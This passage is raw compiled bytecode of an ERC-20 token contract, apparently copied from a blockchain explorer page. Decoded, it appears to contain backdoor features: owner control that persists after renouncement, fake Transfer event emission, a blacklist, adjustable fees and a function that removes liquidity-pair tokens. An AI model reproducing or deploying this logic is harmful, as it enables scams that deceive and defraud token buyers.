2156151305761512f613db6565b5b5f61513d84828501615107565b91505092915050565b5f6060820190506151595f8301866140bc565b61516660208301856140bc565b6151736040830184613f5b565b949350505050565b5f8151905061518981614118565b92915050565b5f602082840312156151a4576151a3613db6565b5b5f6151b18482850161517b565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506151f581613dee565b92915050565b5f602082840312156152105761520f613db6565b5b5f61521d848285016151e7565b91505092915050565b5f819050919050565b5f61524961524461523f84615226565b613ee7565b613e18565b9050919050565b6152598161522f565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61529181613ddd565b82525050565b5f6152a28383615288565b60208301905092915050565b5f602082019050919050565b5f6152c48261525f565b6152ce8185615269565b93506152d983615279565b805f5b838110156153095781516152f08882615297565b97506152fb836152ae565b9250506001810190506152dc565b5085935050505092915050565b5f60a0820190506153295f830188613f5b565b6153366020830187615250565b818103604083015261534881866152ba565b905061535760608301856140bc565b6153646080830184613f5b565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205759718c7a1d996f5d59805c20e1aeaab55c46f60723a33c08c6d7f7e76ae47764736f6c634300081400330000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c

Deployed Bytecode

0x6080604052600436106103f2575f3560e01c80638da5cb5b11610207578063c2b7bbb611610117578063e2b9451c116100aa578063f2fde38b11610079578063f2fde38b14610ef9578063f61f931514610f21578063f637434214610f49578063f8b45b0514610f73578063fe72b27a14610f9d576103f9565b8063e2b9451c14610e53578063e2f4560514610e7b578063e884f26014610ea5578063f11a24d314610ecf576103f9565b8063d257b34f116100e6578063d257b34f14610d75578063d85ba06314610db1578063dd62ed3e14610ddb578063e02ae09f14610e17576103f9565b8063c2b7bbb614610cbd578063c847255614610ce5578063c876d0b914610d21578063c8c8ebe414610d4b576103f9565b8063a0d82dc51161019a578063aacebbe311610169578063aacebbe314610bf3578063bbc0c74214610c1b578063c024666814610c45578063c17b5b8c14610c6d578063c18bc19514610c95576103f9565b8063a0d82dc514610b27578063a457c2d714610b51578063a4c82a0014610b8d578063a9059cbb14610bb7576103f9565b806395d89b41116101d657806395d89b4114610a7f5780639c3b4fdc14610aa95780639ec22c0e14610ad35780639fccce3214610afd576103f9565b80638da5cb5b146109d95780638ea5220f14610a035780639213691314610a2d578063924de9b714610a57576103f9565b8063313ce5671161030257806370a08231116102955780637571336a116102645780637571336a1461091f57806375f0a874146109475780637bce5a04146109715780638095d5641461099b5780638a8c523c146109c3576103f9565b806370a082311461087b578063715018a6146108b7578063730c1888146108cd578063751039fc146108f5576103f9565b806349bd5a5e116102d157806349bd5a5e146107c15780634fbee193146107eb5780636a486a8e146108275780636ddd171314610851576103f9565b8063313ce567146107095780633582ad2314610733578063395093511461075d5780633eb2b5ad14610799576103f9565b8063199ffc721161038557806323b872dd1161035457806323b872dd1461062757806326ededb81461066357806327c8f8351461068b5780632c3e486c146106b55780632e82f1a0146106df576103f9565b8063199ffc72146105815780631a8145bb146105ab5780631f3fed8f146105d5578063203e727e146105ff576103f9565b80631694505e116103c15780631694505e146104db57806318160ddd146105055780631816467f1461052f578063184c16c514610557576103f9565b806306fdde03146103fd578063095ea7b3146104275780630b0fd47e1461046357806310d5de531461049f576103f9565b366103f957005b5f80fd5b348015610408575f80fd5b50610411610fd9565b60405161041e9190613d96565b60405180910390f35b348015610432575f80fd5b5061044d60048036038101906104489190613e4b565b611069565b60405161045a9190613ea3565b60405180910390f35b34801561046e575f80fd5b5061048960048036038101906104849190613ebc565b611086565b6040516104969190613ea3565b60405180910390f35b3480156104aa575f80fd5b506104c560048036038101906104c09190613ebc565b6110a3565b6040516104d29190613ea3565b60405180910390f35b3480156104e6575f80fd5b506104ef6110c0565b6040516104fc9190613f42565b60405180910390f35b348015610510575f80fd5b506105196110e4565b6040516105269190613f6a565b60405180910390f35b34801561053a575f80fd5b5061055560048036038101906105509190613ebc565b6110ed565b005b348015610562575f80fd5b5061056b6111b3565b6040516105789190613f6a565b60405180910390f35b34801561058c575f80fd5b506105956111b9565b6040516105a29190613f6a565b60405180910390f35b3480156105b6575f80fd5b506105bf6111bf565b6040516105cc9190613f6a565b60405180910390f35b3480156105e0575f80fd5b506105e96111c5565b6040516105f69190613f6a565b60405180910390f35b34801561060a575f80fd5b5061062560048036038101906106209190613f83565b6111cb565b005b348015610632575f80fd5b5061064d60048036038101906106489190613fae565b611262565b60405161065a9190613ea3565b60405180910390f35b34801561066e575f80fd5b506106896004803603810190610684919061405f565b611336565b005b348015610696575f80fd5b5061069f611411565b6040516106ac91906140cb565b60405180910390f35b3480156106c0575f80fd5b506106c9611417565b6040516106d69190613f6a565b60405180910390f35b3480156106ea575f80fd5b506106f361141d565b6040516107009190613ea3565b60405180910390f35b348015610714575f80fd5b5061071d61142f565b60405161072a91906140ff565b60405180910390f35b34801561073e575f80fd5b50610747611437565b6040516107549190613ea3565b60405180910390f35b348015610768575f80fd5b50610783600480360381019061077e9190613e4b565b61144a565b6040516107909190613ea3565b60405180910390f35b3480156107a4575f80fd5b506107bf60048036038101906107ba9190613ebc565b6114f8565b005b3480156107cc575f80fd5b506107d5611543565b6040516107e291906140cb565b60405180910390f35b3480156107f6575f80fd5b50610811600480360381019061080c9190613ebc565b611568565b60405161081e9190613ea3565b60405180910390f35b348015610832575f80fd5b5061083b6115ba565b6040516108489190613f6a565b60405180910390f35b34801561085c575f80fd5b506108656115c0565b6040516108729190613ea3565b60405180910390f35b348015610886575f80fd5b506108a1600480360381019061089c9190613ebc565b6115d3565b6040516108ae9190613f6a565b60405180910390f35b3480156108c2575f80fd5b506108cb611619565b005b3480156108d8575f80fd5b506108f360048036038101906108ee9190614142565b6116db565b005b348015610900575f80fd5b506109096117a5565b6040516109169190613ea3565b60405180910390f35b34801561092a575f80fd5b5061094560048036038101906109409190614192565b6117cf565b005b348015610952575f80fd5b5061095b61182f565b60405161096891906140cb565b60405180910390f35b34801561097c575f80fd5b50610985611854565b6040516109929190613f6a565b60405180910390f35b3480156109a6575f80fd5b506109c160048036038101906109bc91906141d0565b61185a565b005b3480156109ce575f80fd5b506109d76118e5565b005b3480156109e4575f80fd5b506109ed61192b565b6040516109fa91906140cb565b60405180910390f35b348015610a0e575f80fd5b50610a17611952565b604051610a2491906140cb565b60405180910390f35b348015610a38575f80fd5b50610a41611977565b604051610a4e9190613f6a565b60405180910390f35b348015610a62575f80fd5b50610a7d6004803603810190610a789190614220565b61197d565b005b348015610a8a575f80fd5b50610a936119a2565b604051610aa09190613d96565b60405180910390f35b348015610ab4575f80fd5b50610abd611a32565b604051610aca9190613f6a565b60405180910390f35b348015610ade575f80fd5b50610ae7611a38565b604051610af49190613f6a565b60405180910390f35b348015610b08575f80fd5b50610b11611a3e565b604051610b1e9190613f6a565b60405180910390f35b348015610b32575f80fd5b50610b3b611a44565b604051610b489190613f6a565b60405180910390f35b348015610b5c575f80fd5b50610b776004803603810190610b729190613e4b565b611a4a565b604051610b849190613ea3565b60405180910390f35b348015610b98575f80fd5b50610ba1611b12565b604051610bae9190613f6a565b60405180910390f35b348015610bc2575f80fd5b50610bdd6004803603810190610bd89190613e4b565b611b18565b604051610bea9190613ea3565b60405180910390f35b348015610bfe575f80fd5b50610c196004803603810190610c149190613ebc565b611b35565b005b348015610c26575f80fd5b50610c2f611bfb565b604051610c3c9190613ea3565b60405180910390f35b348015610c50575f80fd5b50610c6b6004803603810190610c669190614192565b611c0d565b005b348015610c78575f80fd5b50610c936004803603810190610c8e91906141d0565b611cbb565b005b348015610ca0575f80fd5b50610cbb6004803603810190610cb69190613f83565b611d46565b005b348015610cc8575f80fd5b50610ce36004803603810190610cde9190613ebc565b611dd9565b005b348015610cf0575f80fd5b50610d0b6004803603810190610d069190613f83565b611e50565b604051610d1891906140cb565b60405180910390f35b348015610d2c575f80fd5b50610d35611e80565b604051610d429190613ea3565b60405180910390f35b348015610d56575f80fd5b50610d5f611e92565b604051610d6c9190613f6a565b60405180910390f35b348015610d80575f80fd5b50610d9b6004803603810190610d969190613f83565b611e98565b604051610da89190613ea3565b60405180910390f35b348015610dbc575f80fd5b50610dc5611f78565b604051610dd29190613f6a565b60405180910390f35b348015610de6575f80fd5b50610e016004803603810190610dfc919061424b565b611f7e565b604051610e0e9190613f6a565b60405180910390f35b348015610e22575f80fd5b50610e3d6004803603810190610e389190613ebc565b612000565b604051610e4a9190613ea3565b60405180910390f35b348015610e5e575f80fd5b50610e796004803603810190610e749190614289565b612052565b005b348015610e86575f80fd5b50610e8f6120fb565b604051610e9c9190613f6a565b60405180910390f35b348015610eb0575f80fd5b50610eb9612101565b604051610ec69190613ea3565b60405180910390f35b348015610eda575f80fd5b50610ee361212a565b604051610ef09190613f6a565b60405180910390f35b348015610f04575f80fd5b50610f1f6004803603810190610f1a9190613ebc565b612130565b005b348015610f2c575f80fd5b50610f476004803603810190610f429190613e4b565b612261565b005b348015610f54575f80fd5b50610f5d612277565b604051610f6a9190613f6a565b60405180910390f35b348015610f7e575f80fd5b50610f8761227d565b604051610f949190613f6a565b60405180910390f35b348015610fa8575f80fd5b50610fc36004803603810190610fbe9190613f83565b612283565b604051610fd09190613ea3565b60405180910390f35b606060048054610fe890614313565b80601f016020809104026020016040519081016040528092919081815260200182805461101490614313565b801561105f5780601f106110365761010080835404028352916020019161105f565b820191905f5260205f20905b81548152906001019060200180831161104257829003601f168201915b5050505050905090565b5f61107c611075612452565b8484612459565b6001905092915050565b6014602052805f5260405f205f915054906101000a900460ff1681565b6022602052805f5260405f205f915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600654905090565b6110f561261c565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d5481565b600f5481565b601f5481565b601e5481565b6111d361261c565b633b9aca006103e860016111e56110e4565b6111ef9190614370565b6111f991906143de565b61120391906143de565b811015611245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123c9061447e565b60405180910390fd5b670de0b6b3a7640000816112599190614370565b60088190555050565b5f61126e84848461269a565b61132b8461127a612452565b611326856040518060600160405280602881526020016153956028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6112dd612452565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131889092919063ffffffff16565b612459565b600190509392505050565b61133e61261c565b5f5b8383905081101561140b5783838281811061135e5761135d61449c565b5b90506020020160208101906113739190613ebc565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113f09190613f6a565b60405180910390a38080611403906144c9565b915050611340565b50505050565b61dead81565b60115481565b60105f9054906101000a900460ff1681565b5f6009905090565b601360029054906101000a900460ff1681565b5f6114ee611456612452565b846114e98560035f611466612452565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131ea90919063ffffffff16565b612459565b6001905092915050565b61150061261c565b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60235f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b601a5481565b601360019054906101000a900460ff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61162161261c565b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6116e361261c565b610258831015611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90614580565b60405180910390fd5b6103e8821115801561173a57505f8210155b611779576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117709061460e565b60405180910390fd5b8260118190555081600f819055508060105f6101000a81548160ff021916908315150217905550505050565b5f6117ae61261c565b5f601360026101000a81548160ff0219169083151502179055506001905090565b6117d761261c565b8060225f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b61186261261c565b82601681905550816017819055508060188190555060185460175460165461188a919061462c565b611894919061462c565b601581905550601960155411156118e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d7906146a9565b60405180910390fd5b505050565b6118ed61261c565b600160135f6101000a81548160ff0219169083151502179055506001601360016101000a81548160ff02191690831515021790555042601281905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b61198561261c565b80601360016101000a81548160ff02191690831515021790555050565b6060600580546119b190614313565b80601f01602080910402602001604051908101604052809291908181526020018280546119dd90614313565b8015611a285780601f106119ff57610100808354040283529160200191611a28565b820191905f5260205f20905b815481529060010190602001808311611a0b57829003601f168201915b5050505050905090565b60185481565b600e5481565b601d5481565b60195481565b5f611b08611a56612452565b84611b03856040518060600160405280602581526020016153bd6025913960035f611a7f612452565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131889092919063ffffffff16565b612459565b6001905092915050565b60125481565b5f611b2b611b24612452565b848461269a565b6001905092915050565b611b3d61261c565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135f9054906101000a900460ff1681565b611c1561261c565b8060235f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611caf9190613ea3565b60405180910390a25050565b611cc361261c565b82601b8190555081601c8190555080601981905550601954601c54601b54611ceb919061462c565b611cf5919061462c565b601a819055506063601a541115611d41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3890614711565b60405180910390fd5b505050565b611d4e61261c565b633b9aca006103e86005611d606110e4565b611d6a9190614370565b611d7491906143de565b611d7e91906143de565b811015611dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db79061479f565b60405180910390fd5b633b9aca0081611dd09190614370565b600a8190555050565b611de161261c565b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611e4d60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016117cf565b50565b6024602052805f5260405f205f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60215f9054906101000a900460ff1681565b60085481565b5f611ea161261c565b620186a06001611eaf6110e4565b611eb99190614370565b611ec391906143de565b821015611f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efc9061482d565b60405180910390fd5b6103e8600a611f126110e4565b611f1c9190614370565b611f2691906143de565b821115611f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5f906148bb565b60405180910390fd5b8160098190555060019050919050565b60155481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f60145f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b61205a61261c565b5f5b838390508110156120f5578160145f86868581811061207e5761207d61449c565b5b90506020020160208101906120939190613ebc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806120ed906144c9565b91505061205c565b50505050565b60095481565b5f61210a61261c565b5f60215f6101000a81548160ff0219169083151502179055506001905090565b60175481565b61213861261c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036121a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219d90614949565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61226961261c565b6122738282613247565b5050565b601c5481565b600a5481565b5f61228c61261c565b600d54600e5461229c919061462c565b42116122dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d4906149b1565b60405180910390fd5b6103e8821115612322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231990614a3f565b60405180910390fd5b42600e819055505f61235460075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166115d3565b90505f61237e61271061237086856132e690919063ffffffff16565b61335d90919063ffffffff16565b90505f8111156123b7576123b660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836133a6565b5b5f60245f8681526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015612430575f80fd5b505af1158015612442573d5f803e3d5ffd5b5050505060019350505050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036124c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124be90614acd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252c90614b5b565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161260f9190613f6a565b60405180910390a3505050565b612624612452565b73ffffffffffffffffffffffffffffffffffffffff16612642613633565b73ffffffffffffffffffffffffffffffffffffffff1614612698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268f90614bc3565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ff90614c51565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276d90614cdf565b60405180910390fd5b5f810361278d5761278883835f6133a6565b613183565b601360029054906101000a900460ff1615612d8d576127aa61192b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561281857506127e861192b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561285057505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561288a575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156128a35750600760149054906101000a900460ff16155b15612d8c5760135f9054906101000a900460ff166129965760235f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612956575060235f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b612995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298c90614d47565b60405180910390fd5b5b60215f9054906101000a900460ff1615612b5a576129b261192b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612a3957507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612a92575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b59574360205f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410612b16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0d90614dfb565b60405180910390fd5b4360205f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60225f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612c4a57600854811115612bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be490614e89565b60405180910390fd5b600a54612bf9836115d3565b82612c04919061462c565b1115612c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3c90614ef1565b60405180910390fd5b612d8b565b60225f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612ce257600854811115612cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cd490614f7f565b60405180910390fd5b612d8a565b60225f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612d8957600a54612d3c836115d3565b82612d47919061462c565b1115612d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d7f90614ef1565b60405180910390fd5b5b5b5b5b5b5f612d97306115d3565b90505f6009548210159050808015612dbb5750601360019054906101000a900460ff165b8015612dd45750600760149054906101000a900460ff16155b8015612e27575060235f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612e7a575060235f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612ebd576001600760146101000a81548160ff021916908315150217905550612ea2613646565b5f600760146101000a81548160ff0219169083151502179055505b600760149054906101000a900460ff16158015612ee5575060105f9054906101000a900460ff165b15612ef657612ef485856137bf565b505b5f600760149054906101000a900460ff1615905060235f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612fa5575060235f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612fae575f90505b5f8115613173575f601a54111561308457612fe76064612fd9601a54886132e690919063ffffffff16565b61335d90919063ffffffff16565b9050601a54601c5482612ffa9190614370565b61300491906143de565b601f5f828254613014919061462c565b92505081905550601a546019548261302c9190614370565b61303691906143de565b601d5f828254613046919061462c565b92505081905550601a54601b548261305e9190614370565b61306891906143de565b601e5f828254613078919061462c565b92505081905550613150565b5f601554111561314f576130b660646130a8601554886132e690919063ffffffff16565b61335d90919063ffffffff16565b9050601554601754826130c99190614370565b6130d391906143de565b601f5f8282546130e3919061462c565b92505081905550601554601854826130fb9190614370565b61310591906143de565b601d5f828254613115919061462c565b925050819055506015546016548261312d9190614370565b61313791906143de565b601e5f828254613147919061462c565b925050819055505b5b5f811115613164576131638730836133a6565b5b80856131709190614f9d565b94505b61317e8787876133a6565b505050505b505050565b5f8383111582906131cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131c69190613d96565b60405180910390fd5b505f83856131dd9190614f9d565b9050809150509392505050565b5f8082846131f8919061462c565b90508381101561323d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132349061501a565b60405180910390fd5b8091505092915050565b61324f61261c565b8160245f8381526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff167fe31d4764d1f943278fdfdcb88b7ba1ab2d33b62ac47858513d290085cc434e7760405160405180910390a35050565b5f8083036132f6575f9050613357565b5f82846133039190614370565b905082848261331291906143de565b14613352576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613349906150a8565b60405180910390fd5b809150505b92915050565b5f61339e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061398a565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161340b90614c51565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613482576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161347990614cdf565b60405180910390fd5b61348d8383836139eb565b6134f78160405180606001604052806026815260200161536f6026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131889092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506135888160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131ea90919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136269190613f6a565b60405180910390a3505050565b5f8061363d6139f0565b90508091505090565b5f613650306115d3565b90505f601d54601e54601f54613666919061462c565b613670919061462c565b90505f8083148061368057505f82145b1561368d575050506137bd565b601460095461369c9190614370565b8311156136b55760146009546136b29190614370565b92505b5f600283601f54866136c79190614370565b6136d191906143de565b6136db91906143de565b90505f6136f18286613a9090919063ffffffff16565b90505f47905061370082613ad9565b5f6137148247613a9090919063ffffffff16565b90505f601f819055505f601e819055505f601d81905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613770906150f3565b5f6040518083038185875af1925050503d805f81146137aa576040519150601f19603f3d011682016040523d82523d5f602084013e6137af565b606091505b505080955050505050505050505b565b5f803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016137fa91906140cb565b602060405180830381865afa158015613815573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613839919061511b565b90505f613865612710613857601954856132e690919063ffffffff16565b61335d90919063ffffffff16565b90505f73ffffffffffffffffffffffffffffffffffffffff1660245f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461397e575f60245f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166323b872dd8787856040518463ffffffff1660e01b815260040161393b93929190615146565b6020604051808303815f875af1158015613957573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061397b919061518f565b50505b60019250505092915050565b5f80831182906139d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139c79190613d96565b60405180910390fd5b505f83856139de91906143de565b9050809150509392505050565b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613a68575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613a8b565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f613ad183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613188565b905092915050565b5f600267ffffffffffffffff811115613af557613af46151ba565b5b604051908082528060200260200182016040528015613b235781602001602082028036833780820191505090505b50905030815f